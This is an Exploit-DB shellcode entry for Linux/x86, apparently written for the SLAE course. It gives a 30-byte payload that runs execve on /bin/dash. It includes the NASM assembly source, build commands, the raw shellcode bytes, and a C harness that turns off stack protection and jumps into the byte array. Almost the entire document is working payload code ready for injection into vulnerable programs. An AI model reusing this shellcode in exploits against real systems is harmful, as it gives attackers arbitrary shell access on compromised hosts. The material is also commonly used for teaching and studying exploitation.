Linux/x86 - execve /bin/dash Shellcode (30 bytes)

EDB-ID: 43476
Author: Hashim Jawad
Published: 2018-01-10
CVE: N/A
Type: Shellcode
Platform: Lin_x86
Shellcode: Download / View Raw
Shellcode Size: 30 bytes

  
 ################## Description #################### 
  
 ; Title   : exec /bin/dash - Shellcode 
 ; Author  : Hashim Jawad 
 ; Website : ihack4falafel[.]com 
 ; Twitter : @ihack4falafel 
 ; SLAE ID : SLAE-1115 
 ; Purpose : spawn /bin/dash shell 
 ; OS      : Linux 
 ; Arch    : x86 
 ; Size    : 30 bytes 
  
 ################### dash.nasm ##################### 
  
 global _start 
  
 section .text 
  
 _start: 
  
         ; push NULL into the stack 
         xor eax, eax 
         push eax 
  
         ; push (////bin/dash) into the stack 
  
         push 0x68736164 
         push 0x2f6e6962 
         push 0x2f2f2f2f 
  
         ; push ESP pointer to EBX 
         mov ebx, esp 
  
         ; execute  __NR_execve syscall 
         push eax 
         mov edx, esp 
         push ebx 
         mov ecx, esp 
         mov al, 0xb 
         int 0x80 
  
 ################### dash binary ##################### 
  
 nasm -f elf32 -o dash.o dash.nasm 
  
 ld -z execstack -o dash dash.o 
  
 ################### Shellcode ######################## 
  
 objdump -d dash -M intel 
  
 ##################  Compile  ######################### 
  
 gcc -fno-stack-protector -z execstack dash.c -o dash 
  
 */ 
  
 #include<stdio.h> 
 #include<string.h> 
  
 unsigned char code[] = \ 
 "\x31\xc0\x50\x68\x64\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; 
  
  
 main() 
 { 
  
 	printf("Shellcode Length:  %d\n", strlen(code)); 
  
 	int (*ret)() = (int(*)())code; 
  
 	ret(); 
  
 }

Source: www.exploit-db.com